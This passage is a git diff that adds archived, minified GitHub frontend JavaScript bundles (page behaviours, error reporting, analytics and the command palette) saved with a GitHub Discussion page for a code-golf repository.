Error("Unable to get document domain");h.endsWith(".github.com")&&(h="github.com");const d=new Date().getTime(),m=new Date(d-1).toUTCString(),p=location.protocol==="https:"?"; secure":"",b=`; expires=${m}`;g===!1&&(h=`.${h}`);try{document.cookie=`${u}=''; path=/; domain=${h}${b}${p}`}catch{}}s(x,"deleteCookie")},75371:($,D,f)=>{"use strict";f.d(D,{VZ:()=>c,_C:()=>C,cv:()=>T,oE:()=>_});function T(g){const h=g.getBoundingClientRect();return{top:h.top+window.pageYOffset,left:h.left+window.pageXOffset}}s(T,"offset");function c(g){let h=g;const d=h.ownerDocument;if(!d||!h.offsetParent)return;const m=d.defaultView.HTMLElement;if(h!==d.body){for(;h!==d.body;){if(h.parentElement instanceof m)h=h.parentElement;else return;const{position:p,overflowY:b,overflowX:v}=getComputedStyle(h);if(p==="fixed"||b==="auto"||v==="auto"||b==="scroll"||v==="scroll")break}return h instanceof Document?null:h}}s(c,"overflowParent");function C(g,h){let d=h;const m=g.ownerDocument;if(!m)return;const p=m.documentElement;if(!p||g===p)return;const b=_(g,d);if(!b)return;d=b._container;const v=d===m.documentElement&&m.defaultView?{top:m.defaultView.pageYOffset,left:m.defaultView.pageXOffset}:{top:d.scrollTop,left:d.scrollLeft},L=b.top-v.top,q=b.left-v.left,E=d.clientHeight,A=d.clientWidth,k=E-(L+g.offsetHeight),j=A-(q+g.offsetWidth);return{top:L,left:q,bottom:k,right:j,height:E,width:A}}s(C,"overflowOffset");function _(g,h){let d=g;const m=d.ownerDocument;if(!m)return;const p=m.documentElement;if(!p)return;const b=m.defaultView.HTMLElement;let v=0,L=0;const q=d.offsetHeight,E=d.offsetWidth;for(;!(d===m.body||d===h);)if(v+=d.offsetTop||0,L+=d.offsetLeft||0,d.offsetParent instanceof b)d=d.offsetParent;else return;let A,k,j;if(!h||h===m||h===m.defaultView||h===m.documentElement||h===m.body)j=p,A=x(m.body,p),k=u(m.body,p);else if(h instanceof b)j=h,A=h.scrollHeight,k=h.scrollWidth;else return;const P=A-(v+q),M=k-(L+E);return{top:v,left:L,bottom:P,right:M,_container:j}}s(_,"positionedOffset");function x(g,h){return Math.max(g.scrollHeight,h.scrollHeight,g.offsetHeight,h.offsetHeight,h.clientHeight)}s(x,"getDocumentHeight");function u(g,h){return Math.max(g.scrollWidth,h.scrollWidth,g.offsetWidth,h.offsetWidth,h.clientWidth)}s(u,"getDocumentWidth")},73185:($,D,f)=>{"use strict";f.d(D,{Dc:()=>_,bP:()=>g,g:()=>u,gJ:()=>T,rs:()=>c});function T(){return Promise.resolve()}s(T,"microtask");function c(){return new Promise(window.requestAnimationFrame)}s(c,"animationFrame");async function C(h,d){let m;const p=new Promise((b,v)=>{m=self.setTimeout(()=>v(new Error("timeout")),h)});if(!d)return p;try{await Promise.race([p,x(d)])}catch(b){throw self.clearTimeout(m),b}}s(C,"timeout");async function _(h,d){let m;const p=new Promise(b=>{m=self.setTimeout(b,h)});if(!d)return p;try{await Promise.race([p,x(d)])}catch(b){throw self.clearTimeout(m),b}}s(_,"wait");function x(h){return new Promise((d,m)=>{const p=new Error("aborted");p.name="AbortError",h.aborted?m(p):h.addEventListener("abort",()=>m(p))})}s(x,"whenAborted");function u(h){const d=[];return function(m){d.push(m),d.length===1&&queueMicrotask(()=>{const p=[...d];d.length=0,h(p)})}}s(u,"taskQueue");async function g(h){requestAnimationFrame(()=>{setTimeout(h)})}s(g,"afterNextPaint")},92003:($,D,f)=>{"use strict";f.d(D,{aJ:()=>k,cI:()=>q,eK:()=>p});var T=f(29946),c=f(97474),C=f(82918),_=f(50232),x=f(28382),u=f(47930),g=f(49815);let h=!1,d=0;const m=Date.now();function p(M,O={}){M&&M.name!=="AbortError"&&b(L(v(M),O))}s(p,"reportError");async function b(M){var O,V;if(!P())return;const H=(V=(O=document.head)==null?void 0:O.querySelector('meta[name="browser-errors-url"]'))==null?void 0:V.content;if(!!H){if(A(M.error.stacktrace)){h=!0;return}d++;try{await fetch(H,{method:"post",body:JSON.stringify(M)})}catch{}}}s(b,"report");function v(M){return{type:M.name,value:M.message,stacktrace:q(M)}}s(v,"formatError");function L(M,O={}){return Object.assign({error:M,sanitizedUrl:(0,u.S)()||window.location.href,readyState:document.readyState,referrer:(0,T.wP)(),timeSinceLoad:Math.round(Date.now()-m),user:k()||void 0,turbo:(0,g.c)("TURBO")},O)}s(L,"errorContext");function q(M){return(0,x.Q)(M.stack||"").map(O=>({filename:O.file||"",function:String(O.methodName),lineno:(O.lineNumber||0).toString(),colno:(O.column||0).toString()}))}s(q,"stacktrace");const E=/(chrome|moz|safari)-extension:\/\//;function A(M){return M.some(O=>E.test(O.filename)||E.test(O.function))}s(A,"isExtensionError");function k(){var M,O;const V=(O=(M=document.head)==null?void 0:M.querySelector('meta[name="user-login"]'))==null?void 0:O.content;return V||`anonymous-${(0,C.b)()}`}s(k,"pageUser");let j=!1;window.addEventListener("pageshow",()=>j=!1),window.addEventListener("pagehide",()=>j=!0),document.addEventListener(T.QE.ERROR,M=>{b(L({type:"SoftNavError",value:M.detail,stacktrace:q(new Error)}))});function P(){return!j&&!h&&d<10&&(0,_.Gb)()&&!(0,c.Z)(document)}s(P,"reportable"),typeof BroadcastChannel=="function"&&new BroadcastChannel("shared-worker-error").addEventListener("message",O=>{p(O.data.error)})},98670:($,D,f)=>{"use strict";f.d(D,{W:()=>c});function*T(C,_){for(const x of C){const u=_(x);u!=null&&(yield u)}}s(T,"filterMap");function c(C,_,x){return[...T(C,s(g=>{const h=_(g);return h!=null?[g,h]:null},"sortKey"))].sort((g,h)=>x(g[1],h[1])).map(([g])=>g)}s(c,"filterSort")},8089:($,D,f)=>{"use strict";f.d(D,{EW:()=>T,Qw:()=>C,qu:()=>x});function T(u,g){let h=_(u,g);if(h&&g.indexOf("/")===-1){const d=u.substring(u.lastIndexOf("/")+1);h+=_(d,g)}return h}s(T,"fuzzyScore");function c(u){const g=u.toLowerCase().split("");let h="";for(let d=0;d"),m=!0):m&&(p.push(""),m=!1),p.push(v))}u.innerHTML=p.join("")}else{const d=u.innerHTML.trim(),m=d.replace(/<\/?mark>/g,"");d!==m&&(u.innerHTML=m)}}s(C,"fuzzyHighlightElement");function _(u,g){let h=u;if(h===g)return 1;const d=h.length;let m=0,p=0;for(let q=0;q-1?j:Math.max(A,k);if(P===-1)return 0;m+=.1,h[P]===E&&(m+=.1),P===0&&(m+=.8,q===0&&(p=1)),h.charAt(P-1)===" "&&(m+=.8),h=h.substring(P+1,d)}const b=g.length,v=m/b;let L=(v*(b/d)+v)/2;return p&&L+.1<1&&(L+=.1),L}s(_,"stringScore");function x(u,g){return u.score>g.score?-1:u.scoreg.text?1:0}s(x,"compare")},99254:($,D,f)=>{"use strict";f.d(D,{Z:()=>d});var T=f(47142);const c=s((m,p,b)=>{if(!(0,T.CD)(m,p))return-1/0;const v=(0,T.Gs)(m,p);return v{m.innerHTML="";let v=0;for(const L of(0,T.m7)(p,b)){b.slice(v,L)!==""&&m.appendChild(document.createTextNode(b.slice(v,L))),v=L+1;const E=document.createElement("mark");E.textContent=b[L],m.appendChild(E)}m.appendChild(document.createTextNode(b.slice(v)))},"highlightElement"),_=new WeakMap,x=new WeakMap,u=new WeakMap,g=s(m=>{if(!u.has(m)&&m instanceof HTMLElement){const p=(m.getAttribute("data-value")||m.textContent||"").trim();return u.set(m,p),p}return u.get(m)||""},"getTextCache");class h extends HTMLElement{connectedCallback(){const p=this.querySelector("ul");if(!p)return;const b=new Set(p.querySelectorAll("li")),v=this.querySelector("input");v instanceof HTMLInputElement&&v.addEventListener("input",()=>{this.value=v.value});const L=new MutationObserver(E=>{let A=!1;for(const k of E)if(k.type==="childList"&&k.addedNodes.length){for(const j of k.addedNodes)if(j instanceof HTMLLIElement&&!b.has(j)){const P=g(j);A=A||(0,T.CD)(this.value,P),b.add(j)}}A&&this.sort()});L.observe(p,{childList:!0});const q={handler:L,items:b,lazyItems:new Map,timer:null};x.set(this,q)}disconnectedCallback(){const p=x.get(this);p&&(p.handler.disconnect(),x.delete(this))}addLazyItems(p,b){const v=x.get(this);if(!v)return;const{lazyItems:L}=v,{value:q}=this;let E=!1;for(const A of p)L.set(A,b),E=E||Boolean(q)&&(0,T.CD)(q,A);E&&this.sort()}sort(){const p=_.get(this);p&&(p.aborted=!0);const b={aborted:!1};_.set(this,b);const{minScore:v,markSelector:L,maxMatches:q,value:E}=this,A=x.get(this);if(!A||!this.dispatchEvent(new CustomEvent("fuzzy-list-will-sort",{cancelable:!0,detail:E})))return;const{items:k,lazyItems:j}=A,P=this.hasAttribute("mark-selector"),M=this.querySelector("ul");if(!M)return;const O=[];if(E){for(const V of k){const H=g(V),N=c(E,H,v);N!==-1/0&&O.push({item:V,score:N})}for(const[V,H]of j){const N=c(E,V,v);N!==-1/0&&O.push({text:V,render:H,score:N})}O.sort((V,H)=>H.score-V.score).splice(q)}else{let V=O.length;for(const H of k){if(V>=q)break;O.push({item:H,score:1}),V+=1}for(const[H,N]of j){if(V>=q)break;O.push({text:H,render:N,score:1}),V+=1}}requestAnimationFrame(()=>{if(b.aborted)return;const V=M.querySelector('input[type="radio"]:checked');M.innerHTML="";let H=0;const N=s(()=>{if(b.aborted)return;const K=Math.min(O.length,H+100),W=document.createDocumentFragment();for(let te=H;te0),this.dispatchEvent(new CustomEvent("fuzzy-list-sorted",{detail:O.length}))}},"nextBatch");N()})}get value(){return this.getAttribute("value")||""}set value(p){this.setAttribute("value",p)}get markSelector(){return this.getAttribute("mark-selector")||""}set markSelector(p){p?this.setAttribute("mark-selector",p):this.removeAttribute("mark-selector")}get minScore(){return Number(this.getAttribute("min-score")||0)}set minScore(p){Number.isNaN(p)||this.setAttribute("min-score",String(p))}get maxMatches(){return Number(this.getAttribute("max-matches")||1/0)}set maxMatches(p){Number.isNaN(p)||this.setAttribute("max-matches",String(p))}static get observedAttributes(){return["value","mark-selector","min-score","max-matches"]}attributeChangedCallback(p,b,v){if(b===v)return;const L=x.get(this);!L||(L.timer&&window.clearTimeout(L.timer),L.timer=window.setTimeout(()=>this.sort(),100))}}s(h,"FuzzyListElement");const d=h;window.customElements.get("fuzzy-list")||(window.FuzzyListElement=h,window.customElements.define("fuzzy-list",h))},30481:($,D,f)=>{"use strict";f.d(D,{Y:()=>g,q:()=>h});var T=f(88149),c=f(86058);const C="dimension_";let _;const x=["utm_source","utm_medium","utm_campaign","utm_term","utm_content","scid"];try{const d=(0,T.n)("octolytics");delete d.baseContext,_=new c.R(d)}catch{}function u(d){const m=(0,T.n)("octolytics").baseContext||{};if(m){delete m.app_id,delete m.event_url,delete m.host;for(const v in m)v.startsWith(C)&&(m[v.replace(C,"")]=m[v],delete m[v])}const p=document.querySelector("meta[name=visitor-payload]");if(p){const v=JSON.parse(atob(p.content));Object.assign(m,v)}const b=new URLSearchParams(window.location.search);for(const[v,L]of b)x.includes(v.toLowerCase())&&(m[v]=L);return Object.assign(m,d)}s(u,"extendBaseContext");function g(d){_==null||_.sendPageView(u(d))}s(g,"sendPageView");function h(d,m){var p,b;const v=(b=(p=document.head)==null?void 0:p.querySelector('meta[name="current-catalog-service"]'))==null?void 0:b.content,L=v?{service:v}:{};for(const[q,E]of Object.entries(m))E!=null&&(L[q]=`${E}`);_==null||_.sendEvent(d||"unknown",u(L))}s(h,"sendEvent")},53692:($,D,f)=>{"use strict";f.d(D,{$S:()=>c,Fk:()=>C,sz:()=>_});var T=f(45922);function c(x,u,g){const h={hydroEventPayload:x,hydroEventHmac:u,visitorPayload:"",visitorHmac:"",hydroClientContext:g},d=document.querySelector("meta[name=visitor-payload]");d instanceof HTMLMetaElement&&(h.visitorPayload=d.content);const m=document.querySelector("meta[name=visitor-hmac]")||"";m instanceof HTMLMetaElement&&(h.visitorHmac=m.content),(0,T.b)(h,!0)}s(c,"sendData");function C(x){const u=x.getAttribute("data-hydro-view")||"",g=x.getAttribute("data-hydro-view-hmac")||"",h=x.getAttribute("data-hydro-client-context")||"";c(u,g,h)}s(C,"trackView");function _(x){const u=x.getAttribute("data-hydro-click-payload")||"",g=x.getAttribute("data-hydro-click-hmac")||"",h=x.getAttribute("data-hydro-client-context")||"";c(u,g,h)}s(_,"sendHydroEvent")},51244:($,D,f)=>{"use strict";f.d(D,{vt:()=>A,WF:()=>E,DV:()=>q,jW:()=>M,Nc:()=>p,$t:()=>C});const T={frequency:.6,recency:.4};function c(H,N){return H.sort((K,W)=>N(K)-N(W))}s(c,"sortBy");function C(H){const N=x(H),K=u(H);return function(W){return _(N.get(W)||0,K.get(W)||0)}}s(C,"scorer");function _(H,N){return H*T.frequency+N*T.recency}s(_,"score");function x(H){const N=[...Object.values(H)].reduce((K,W)=>K+W.visitCount,0);return new Map(Object.keys(H).map(K=>[K,H[K].visitCount/N]))}s(x,"frequencyMap");function u(H){const N=c([...Object.keys(H)],W=>H[W].lastVisitedAt),K=N.length;return new Map(N.map((W,U)=>[W,(U+1)/K]))}s(u,"recencyMap");const g=/^\/orgs\/([a-z0-9-]+)\/teams\/([\w-]+)/,h=[/^\/([^/]+)\/([^/]+)\/?$/,/^\/([^/]+)\/([^/]+)\/blob/,/^\/([^/]+)\/([^/]+)\/tree/,/^\/([^/]+)\/([^/]+)\/issues/,/^\/([^/]+)\/([^/]+)\/pulls?/,/^\/([^/]+)\/([^/]+)\/pulse/],d=[["organization",/^\/orgs\/([a-z0-9-]+)\/projects\/([0-9-]+)/],["repository",/^\/([^/]+)\/([^/]+)\/projects\/([0-9-]+)/]],m=100;function p(H){const N=H.match(g);if(N){v(q(N[1],N[2]));return}let K;for(let U=0,te=d.length;UK(te)-K(U)).slice(0,m/2);return Object.fromEntries(W.map(U=>[U,H[U]]))}s(b,"limitedPageViews");function v(H){const N=M(),K=L(),W=N[H]||{lastVisitedAt:K,visitCount:0};W.visitCount+=1,W.lastVisitedAt=K,N[H]=W,P(b(N))}s(v,"logPageViewByKey");function L(){return Math.floor(Date.now()/1e3)}s(L,"currentEpochTimeInSeconds");function q(H,N){return`team:${H}/${N}`}s(q,"buildTeamKey");function E(H,N){return`repository:${H}/${N}`}s(E,"buildRepositoryKey");function A(H,N){return`project:${H}/${N}`}s(A,"buildProjectKey");const k=/^(team|repository|project):[^/]+\/[^/]+(\/([^/]+))?$/,j="jump_to:page_views";function P(H){O(j,JSON.stringify(H))}s(P,"setPageViewsMap");function M(){const H=V(j);if(!H)return{};let N;try{N=JSON.parse(H)}catch{return P({}),{}}const K={};for(const W in N)W.match(k)&&(K[W]=N[W]);return K}s(M,"getPageViewsMap");function O(H,N){try{window.localStorage.setItem(H,N)}catch{}}s(O,"setItem");function V(H){try{return window.localStorage.getItem(H)}catch{return null}}s(V,"getItem")},11190:($,D,f)=>{"use strict";f.d(D,{I:()=>x,n:()=>_});var T=f(24216);const c=["notification_referrer_id","notifications_before","notifications_after","notifications_query"],C="notification_shelf";function _(d,m=null){return d.has("notification_referrer_id")?(u(d,m),g(d)):null}s(_,"storeAndStripShelfParams");function x(d=null){const m=h(d);if(!m)return(0,T.cl)(C),null;try{const p=(0,T.rV)(C);if(!p)return null;const b=JSON.parse(p);if(!b||!b.pathname)throw new Error("Must have a pathname");if(b.pathname!==m)throw new Error("Stored pathname does not match current pathname.");const v={};for(const L of c)v[L]=b[L];return v}catch{return(0,T.cl)(C),null}}s(x,"getStoredShelfParamsForCurrentPage");function u(d,m){const p=h(m);if(!p)return;const b={pathname:p};for(const v of c){const L=d.get(v);L&&(b[v]=L)}(0,T.LS)(C,JSON.stringify(b))}s(u,"storeShelfParams");function g(d){for(const m of c)d.delete(m);return d}s(g,"deleteShelfParams");function h(d){d=d||window.location.pathname;const m=/^(\/[^/]+\/[^/]+\/pull\/[^/]+)/,p=d.match(m);return p?p[0]:null}s(h,"getCurrentPullRequestPathname")},32904:($,D,f)=>{"use strict";f.d(D,{a:()=>T});function T(x,u){const g=x.closest("[data-notification-id]");u.hasAttribute("data-status")&&c(g,u.getAttribute("data-status")),u.hasAttribute("data-subscription-status")&&C(g,u.getAttribute("data-subscription-status")),u.hasAttribute("data-starred-status")&&_(g,u.getAttribute("data-starred-status"))}s(T,"updateNotificationStates");function c(x,u){x.classList.toggle("notification-archived",u==="archived"),x.classList.toggle("notification-unread",u==="unread"),x.classList.toggle("notification-read",u==="read")}s(c,"toggleNotificationStatus");function C(x,u){x.classList.toggle("notification-unsubscribed",u==="unsubscribed")}s(C,"toggleNotificationSubscriptionStatus");function _(x,u){x.classList.toggle("notification-starred",u==="starred")}s(_,"toggleNotificationStarredStatus")},19218:($,D,f)=>{"use strict";f.d(D,{v:()=>T});function T(c,C){C.appendChild(c.extractContents()),c.insertNode(C)}s(T,"surroundContents")},25331:($,D,f)=>{"use strict";f.d(D,{e:()=>T});function T(c){const C=c||window.location,_=document.head&&document.head.querySelector("meta[name=session-resume-id]");return _ instanceof HTMLMetaElement&&_.content||C.pathname}s(T,"getPageID")},82841:($,D,f)=>{"use strict";f.d(D,{Z:()=>m});var T=f(12737),c=f(29719),C=f(65935),_=f(5642);let x=!1;function u(p){const b=new URL(p,window.location.origin),v=new URLSearchParams(b.search.slice(1));return v.set("webauthn-support",(0,_.T)()),b.search=v.toString(),b.toString()}s(u,"urlWithParams");async function g(){const p=document.querySelector("link[rel=sudo-modal]"),b=document.querySelector(".js-sudo-prompt");if(b instanceof HTMLTemplateElement)return b;if(p){const v=await(0,c.a)(document,u(p.href));return document.body.appendChild(v),document.querySelector(".js-sudo-prompt")}else throw new Error("couldn't load sudo prompt")}s(g,"loadPromptTemplate");let h=!1;async function d(){if(x)return!1;x=!0,h=!1;const b=(await g()).content.cloneNode(!0),v=await(0,T.W)({content:b});return await new Promise(L=>{v.addEventListener("dialog:remove",function(){x=!1,L()},{once:!0})}),h}s(d,"sudoPrompt"),(0,C.AC)(".js-sudo-form",async function(p,b){try{await b.text()}catch(v){if(!v.response)throw v;let L;switch(v.response.status){case 401:L="Incorrect password.";break;case 429:L="Too many password attempts. Please wait and try again later.";break;default:L="Failed to receive a response. Please try again later."}p.querySelector(".js-sudo-error").textContent=L,p.querySelector(".js-sudo-error").hidden=!1,p.querySelector(".js-sudo-password").value="";return}h=!0,p.closest("details").removeAttribute("open")});async function m(){const p=await fetch("/sessions/in_sudo",{headers:{accept:"application/json","X-Requested-With":"XMLHttpRequest"}});return p.ok&&await p.text()==="true"?!0:d()}s(m,"triggerSudoPrompt")},40764:($,D,f)=>{"use strict";f.d(D,{Om:()=>_,lp:()=>c,rq:()=>T,t4:()=>C,yb:()=>u});function T(g){const h="\u200D",d=g.split(h);let m=0;for(const p of d)m+=Array.from(p.split(/[\ufe00-\ufe0f]/).join("")).length;return m/d.length}s(T,"getUtf8StringLength");function c(g,h,d){let m=g.value.substring(0,g.selectionEnd||0),p=g.value.substring(g.selectionEnd||0);return m=m.replace(h,d),p=p.replace(h,d),x(g,m+p,m.length),d}s(c,"replaceText");function C(g,h,d){if(g.selectionStart===null||g.selectionEnd===null)return c(g,h,d);const m=g.value.substring(0,g.selectionStart),p=g.value.substring(g.selectionEnd);return x(g,m+d+p,m.length),d}s(C,"replaceSelection");function _(g,h,d={}){const m=g.selectionEnd||0,p=g.value.substring(0,m),b=g.value.substring(m),v=g.value===""||p.match(/\n$/)?"":` +`,L=d.appendNewline?` +`:"",q=v+h+L;g.value=p+q+b;const E=m+q.length;return g.selectionStart=E,g.selectionEnd=E,g.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1})),g.focus(),q}s(_,"insertText");function x(g,h,d){g.value=h,g.selectionStart=d,g.selectionEnd=d,g.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1}))}s(x,"setTextareaValueAndCursor");function u(g,h){const d=[...g],m=new TextEncoder,p=new Uint8Array(4);for(let b=0;b=h))break}return h}s(u,"GetCharIndexFromBytePosition")},66899:($,D,f)=>{"use strict";f.d(D,{dY:()=>h,iU:()=>g,oq:()=>u});const T=new WeakMap;function c(d){const m=T.get(d);!m||(m.timer!=null&&clearTimeout(m.timer),m.timer=window.setTimeout(()=>{m.timer!=null&&(m.timer=null),m.inputed=!1,m.listener.call(null,d)},m.wait))}s(c,"schedule");function C(d){const m=d.currentTarget,p=T.get(m);!p||(p.keypressed=!0,p.timer!=null&&clearTimeout(p.timer))}s(C,"onKeydownInput");function _(d){const m=d.currentTarget,p=T.get(m);!p||(p.keypressed=!1,p.inputed&&c(m))}s(_,"onKeyupInput");function x(d){const m=d.currentTarget,p=T.get(m);!p||(p.inputed=!0,p.keypressed||c(m))}s(x,"onInputInput");function u(d,m,p={wait:null}){T.set(d,{keypressed:!1,inputed:!1,timer:void 0,listener:m,wait:p.wait!=null?p.wait:100}),d.addEventListener("keydown",C),d.addEventListener("keyup",_),d.addEventListener("input",x)}s(u,"addThrottledInputEventListener");function g(d,m){d.removeEventListener("keydown",C),d.removeEventListener("keyup",_),d.removeEventListener("input",x);const p=T.get(d);p&&(p.timer!=null&&p.listener===m&&clearTimeout(p.timer),T.delete(d))}s(g,"removeThrottledInputEventListener");function h(d){const m=T.get(d);m&&m.listener.call(null,d)}s(h,"dispatchThrottledInputEvent")},5878:($,D,f)=>{"use strict";f.d(D,{Z:()=>c});function T(C){return C.offsetWidth<=0&&C.offsetHeight<=0}s(T,"hidden");function c(C){return!T(C)}s(c,"visible")},5642:($,D,f)=>{"use strict";f.d(D,{T:()=>c,k:()=>C});var T=f(70112);function c(){return(0,T.Zh)()?"supported":"unsupported"}s(c,"webauthnSupportLevel");async function C(){var _;return await((_=window.PublicKeyCredential)==null?void 0:_.isUserVerifyingPlatformAuthenticatorAvailable())?"supported":"unsupported"}s(C,"iuvpaaSupportLevel")}},$=>{var D=s(T=>$($.s=T),"__webpack_exec__");$.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_lit-html_lit-html_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd","vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed","vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537","app_assets_modules_github_behaviors_pjax_ts","app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef","app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7"],()=>D(56851));var f=$.O()}]);})(); + +//# sourceMappingURL=behaviors-77f99b7e6910.js.map \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js new file mode 100644 index 0000000..09e09d2 --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var vt=Object.defineProperty;var n=(S,C)=>vt(S,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["command-palette"],{86761:(S,C,a)=>{var i=a(90420),b=Object.defineProperty,v=Object.getOwnPropertyDescriptor,g=n((t,e,s,o)=>{for(var r=o>1?void 0:o?v(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&b(e,s,r),r},"__decorateClass");const m="*";let p=n(class extends HTMLElement{constructor(){super(...arguments);this.scopeTypes=""}active(t,e){return this.scopeTypeMatch(t.type)&&this.modeMatch(e)}scopeTypeMatch(t){return this.scopeTypes?this.scopeTypes&&JSON.parse(this.scopeTypes).includes(t):!0}modeMatch(t){return this.char===m||this.char===t}character(){return this.char===m?"":this.char}},"CommandPaletteModeElement");g([i.Lj],p.prototype,"char",2),g([i.Lj],p.prototype,"placeholder",2),g([i.Lj],p.prototype,"scopeTypes",2),p=g([i.Ih],p);var d=Object.defineProperty,h=Object.getOwnPropertyDescriptor,u=n((t,e,s,o)=>{for(var r=o>1?void 0:o?h(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&d(e,s,r),r},"command_palette_tip_element_decorateClass");const f="*",E="";let _=n(class extends HTMLElement{constructor(){super(...arguments);this.scopeTypes=E,this.mode=f,this.matchMode=E,this.value=f,this.onEmpty=!1,this.onError=!1}connectedCallback(){this.hidden=!0}available(t,e=!1,s=!1){return this.valueMatch(t.text)&&this.scopeTypeMatch(t.scope.type)&&this.modeMatch(t.mode)&&this.showOnEmpty(e)&&this.showOnError(s)}toggle(t,e=!1,s=!1){this.hidden=!this.available(t,e,s)}valueMatch(t){return this.value===f||this.value===t}scopeTypeMatch(t){return this.scopeTypes!==E&&(this.scopeTypes===f||JSON.parse(this.scopeTypes).includes(t))}modeMatch(t){if(this.matchMode===E)return this.mode===f||this.mode===t;{const e=new RegExp(this.matchMode);return t.match(e)!==null}}showOnEmpty(t){return this.onEmpty?t:!0}showOnError(t){return this.onError?t:!0}},"CommandPaletteTipElement");u([i.Lj],_.prototype,"scopeTypes",2),u([i.Lj],_.prototype,"mode",2),u([i.Lj],_.prototype,"matchMode",2),u([i.Lj],_.prototype,"value",2),u([i.Lj],_.prototype,"onEmpty",2),u([i.Lj],_.prototype,"onError",2),_=u([i.Ih],_);var G=a(47779),$e=Object.defineProperty,Fe=Object.getOwnPropertyDescriptor,R=n((t,e,s,o)=>{for(var r=o>1?void 0:o?Fe(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&$e(e,s,r),r},"command_palette_token_element_decorateClass");let k=n(class extends HTMLElement{constructor(){super(...arguments);this.type="",this.id="",this.text="",this.value=""}},"CommandPaletteTokenElement");R([i.Lj],k.prototype,"type",2),R([i.Lj],k.prototype,"id",2),R([i.Lj],k.prototype,"text",2),R([i.Lj],k.prototype,"value",2),k=R([i.Ih],k);var gt=a(39200),He=a(23207),bt=a(2846),Y=a(80829),ze=a(4220),z=a(78584);class U extends z.j{fetch(e,s){return this.fetchSrc(e)}enabledFor(e){return this.modeMatch(e)&&this.scopeMatch(e)}clearCache(){}scopeMatch(e){return this.scopeTypes.length===0||this.scopeTypes.includes(e.scope.type)}modeMatch(e){return this.modes.includes(e.mode)||this.hasWildCard}async fetchSrc(e,s=""){var o;if(!this.src)throw new Error("No src defined");const r=new URL(this.src,window.location.origin),c=e.params();s&&c.set("mode",s),r.search=c.toString();const l=await fetch(r.toString(),{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}});if(l.ok){const L=await l.json();return{results:((o=L.results)==null?void 0:o.map(w=>ze.g.build(w)))||[],octicons:L.octicons}}else return{error:!0,results:[]}}}n(U,"RemoteProvider");class H extends U{constructor(){super(...arguments);this.maxItems=1e3,this.scopedItems={},this.cachedOcticons={}}clearCache(){super.clearCache(),this.scopedItems={},this.cachedOcticons={}}get debounce(){return 0}async prefetch(e){if(!this.scopeMatch(e)||this.scopedItems[e.scope.id])return;const s=new Y.A("",e.mode,{subjectId:e.subjectId,subjectType:e.subjectType,returnTo:e.returnTo,scope:e.scope}),o=await this.fetchSrc(s,e.mode);this.octicons=o.octicons||[];const r=o.results||[];this.scopedItems[e.scope.id]=r,this.cachedOcticons[e.scope.id]=this.octicons}async fetch(e,s){const o=this.scopedItems[e.scope.id]||[],r=this.cachedOcticons[e.scope.id]||[];return{results:this.fuzzyFilter(o,e).slice(0,this.maxItems),octicons:r}}}n(H,"PrefetchedProvider");class ee extends H{enabledFor(e){const s=["discussion","issue","pull_request"];return e.mode===">"?!0:!!s.includes(e.scope.type)}}n(ee,"CommandsProvider");var Ue=a(81072),V=a(98810);class te extends H{async fetchSrc(e){if(!this.src)throw new Error("No src provided");const s=new URL(this.src,window.location.origin);s.search=e.params().toString();const r=await(await fetch(s.toString(),{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})).json();if(!r.results)return;const c=r.results[0];if(c.base_file_path){const l=c.base_file_path,L=c.paths;r.results=L.map(w=>V.s.from({title:w,path:`${l}/${w}`,icon:"file-color-fg-muted",group:"files"}))}else c.action&&c.action.type==="access_policy"?r.results=[new Ue.i(c)]:r.results=[];return r}async fetch(e,s=!1){const o=e.text.match(/(.+):(\d*)\s*$/);return o?this.fetchWithLineNumbers(e,o):super.fetch(e,s)}async fetchWithLineNumbers(e,s){const o=s[1],r=s[2],c=new Y.A(o,e.mode,{scope:e.scope}),l=[],L=(await super.fetch(c,!1)).results;for(const w of L)w instanceof V.s&&l.push(this.convert(w,r));return{results:l}}convert(e,s){return s===""||!(e instanceof V.s)||(e.title=`${e.title}:${s}`,e.action.path=`${e.action.path}#L${s}`),e}}n(te,"FilesProvider");class se extends z.j{enabledFor(e){return!0}clearCache(){}get hasCommands(){return!1}get debounce(){return 0}async fetch(e,s=!1){return e.mode!=="?"&&!s?{results:[]}:{results:Array.from(this.element.querySelectorAll("command-palette-help")).filter(c=>c.show(e)).map((c,l)=>c.toItem(l))}}}n(se,"HelpProvider");var Ve=a(31411);class oe extends z.j{enabledFor(e){return!(e.isBlank()||e.mode==="?"||e.mode===">")}clearCache(){}get hasCommands(){return!1}async fetch(e,s=!1){return{results:[Ve.K.create(e)]}}}n(oe,"SearchLinksProvider");class q{static create(e){const s=this.providers[e.type];if(!s)throw new Error(`Unknown provider type: ${e.type}`);return new s(e)}}n(q,"ServerDefinedProviderFactory"),q.providers={remote:U,prefetched:H,commands:ee,files:te,help:se,"search-links":oe};var 